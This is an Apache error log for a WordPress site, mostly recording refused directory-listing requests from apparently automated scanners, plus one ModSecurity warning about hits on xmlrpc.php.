[Wed Apr 15 04:59:02.360990 2026] [autoindex:error] [pid 45504:tid 45522] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:02.617406 2026] [autoindex:error] [pid 45504:tid 45511] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:02.842189 2026] [autoindex:error] [pid 45504:tid 45528] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:04.634132 2026] [autoindex:error] [pid 45504:tid 45521] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:05.022969 2026] [autoindex:error] [pid 45504:tid 45526] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:11.030865 2026] [autoindex:error] [pid 45504:tid 45514] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:14.374225 2026] [autoindex:error] [pid 45504:tid 45516] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:14.821742 2026] [autoindex:error] [pid 45504:tid 45506] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:19.258492 2026] [autoindex:error] [pid 45504:tid 45529] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:19.703532 2026] [autoindex:error] [pid 45504:tid 45521] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:24.395824 2026] [autoindex:error] [pid 45504:tid 45508] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:26.135771 2026] [autoindex:error] [pid 45504:tid 45513] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:27.792040 2026] [autoindex:error] [pid 45504:tid 45515] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:29.491918 2026] [autoindex:error] [pid 45504:tid 45506] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:29.765562 2026] [autoindex:error] [pid 45504:tid 45510] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:30.176970 2026] [autoindex:error] [pid 45504:tid 45519] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:30.327341 2026] [:error] [pid 4169:tid 4200] [client 149.241.243.121:60972] [client 149.241.243.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.241.243.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad6qsh15U5D-N99n_jJltAAAANg"]
[Wed Apr 15 04:59:34.813837 2026] [autoindex:error] [pid 45504:tid 45507] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:38.243754 2026] [autoindex:error] [pid 45504:tid 45522] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:38.471149 2026] [autoindex:error] [pid 45504:tid 45506] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:43.143276 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:44.774022 2026] [autoindex:error] [pid 45504:tid 45509] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:48.047565 2026] [autoindex:error] [pid 45504:tid 45510] [client 45.131.195.130:21109] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:51.324926 2026] [autoindex:error] [pid 45504:tid 45523] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:51.543651 2026] [autoindex:error] [pid 45504:tid 45524] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:51.773606 2026] [autoindex:error] [pid 45504:tid 45509] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:52.004621 2026] [autoindex:error] [pid 45504:tid 45517] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 04:59:52.276366 2026] [autoindex:error] [pid 45504:tid 45515] [client 45.131.195.130:21109] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:10.823177 2026] [autoindex:error] [pid 4067:tid 4146] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:11.855329 2026] [autoindex:error] [pid 4067:tid 4150] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:12.389203 2026] [autoindex:error] [pid 4067:tid 4136] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:12.907821 2026] [autoindex:error] [pid 4067:tid 4133] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:13.190359 2026] [autoindex:error] [pid 4067:tid 4138] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:23.851407 2026] [autoindex:error] [pid 4067:tid 4149] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:24.088663 2026] [autoindex:error] [pid 4067:tid 4155] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:24.468957 2026] [autoindex:error] [pid 4067:tid 4141] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:24.745759 2026] [autoindex:error] [pid 4067:tid 4137] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:24.990145 2026] [autoindex:error] [pid 4067:tid 4146] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:31.965072 2026] [autoindex:error] [pid 4067:tid 4138] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:37.647162 2026] [autoindex:error] [pid 4067:tid 4153] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:37.971993 2026] [autoindex:error] [pid 4067:tid 4135] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:39.821616 2026] [autoindex:error] [pid 4067:tid 4131] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:48.425385 2026] [autoindex:error] [pid 4067:tid 4147] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:48.715176 2026] [autoindex:error] [pid 4067:tid 4149] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:49.135426 2026] [autoindex:error] [pid 4067:tid 4132] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:49.492947 2026] [autoindex:error] [pid 4067:tid 4151] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:56.302090 2026] [autoindex:error] [pid 4067:tid 4148] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:00:58.259979 2026] [autoindex:error] [pid 4067:tid 4135] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:00.036655 2026] [autoindex:error] [pid 4067:tid 4148] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:16.268980 2026] [autoindex:error] [pid 4067:tid 4154] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:19.688011 2026] [autoindex:error] [pid 4067:tid 4150] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:19.918462 2026] [autoindex:error] [pid 4067:tid 4145] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:23.231783 2026] [autoindex:error] [pid 4067:tid 4147] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:24.985705 2026] [autoindex:error] [pid 4067:tid 4145] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:47.742773 2026] [autoindex:error] [pid 4067:tid 4138] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/skins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:50.745947 2026] [autoindex:error] [pid 4067:tid 4150] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/ui/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:54.309054 2026] [autoindex:error] [pid 4067:tid 4154] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/themes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 05:01:57.561969 2026] [autoindex:error] [pid 4067:tid 4153] [client 45.131.195.204:40885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
